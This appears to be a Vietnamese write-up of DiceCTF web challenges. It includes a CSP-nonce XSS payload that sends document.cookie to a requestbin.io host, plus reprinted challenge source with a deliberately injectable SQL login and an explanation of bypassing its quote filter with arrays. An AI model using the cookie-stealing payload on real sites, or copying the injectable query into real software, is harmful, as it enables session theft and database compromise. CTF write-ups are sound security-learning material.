DiceCTF

**Babier CSP

view page thì ta thấy như sau, ứng dụng sử dụng input từ name để render ra html, tiêu đề bài cũng hướng tới xss bypass csp.

đầu tiên mình thử payload xss đơn giản

có thể chèn html thành công nhưng ko trigger được xss? why?

nhìn vào header ta thấy

ta có CSP như sau, vậy csp là gì, các bạn tham khảo tại đây

mình giải thích sơ qua về ý nghĩ trong dòng CSP được set ở header như sau

default-src none : tức là nó sẽ không load bất kỳ resource nào by default

script-src 'nonce-LRGWAXOY98Es0zz0QOVmag==' : chỉ thị này có nghĩa là chỉ được load script js từ nguồn có none=LRGWAXOY98Es0zz0QOVmag==

vậy ta có thể trigger được alert bằng cách

<script nonce=LRGWAXOY98Es0zz0QOVmag==>alert(1)</script>

ở trên mình đã trigger xss thành công, nhưng để fetch được tới nguồn khác thì không thể bởi chỉ thị default-src không cho phép mình làm như vậy, nên ở đây ta sử dụng document.location để chuyển hướng trang, vì ta đã có thể control được code js cần thực thi nên hướng này là khả thi

sử dụng payload như sau

<script nonce="LRGWAXOY98Es0zz0QOVmag=="> document.location='https://requestbin.io/1mjjc9g1/?c='+document.cookie</script>

send cho admin link này thì ta sẽ có cookie

ta có serect thì việc cuối cùng chỉ cần curl tới cái path secret này ta sẽ có flag

**Missing Flavortext

const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')

// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  username TEXT,
  password TEXT
);`);

// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
  'admin',
  '${crypto.randomBytes(16).toString('hex')}'
)`);

const express = require('express');
const bodyParser = require('body-parser');

const app = express();

// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));

// login route
app.post('/login', (req, res) => {
  if (!req.body.username || !req.body.password) {
    return res.redirect('/');
  }

  if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
    return res.redirect('/');
  }

  // see if user is in database
  const query = `SELECT id FROM users WHERE
    username = '${req.body.username}' AND
    password = '${req.body.password}'
  `;

  let id;
  try { id = db.prepare(query).get()?.id } catch {
    return res.redirect('/');
  }

  // correct login
  if (id) return res.sendFile('flag.html', { root: __dirname });

  // incorrect login
  return res.redirect('/');
});

app.listen(3000);

đề cung cấp source như sau, ta thấy có 1 table users, và nếu login thành công thì sẽ có flag

=> sqli for sure

để ý thấy

app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));

điều này tức là ta có thể truyền 1 obj vào

cộng với

if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
    return res.redirect('/');
  }

tức trong body mình truyền vào không được chứa dấu ' nhưng mình thấy filter này mỏng quá nên mình sẽ tập trung bypass chỗ này

whatifs cả username và password đều là array

nếu ta truyền vào array thì ta sẽ pass được cái if kia.

vậy => ez sqli rồi

**Web Utils

Last updated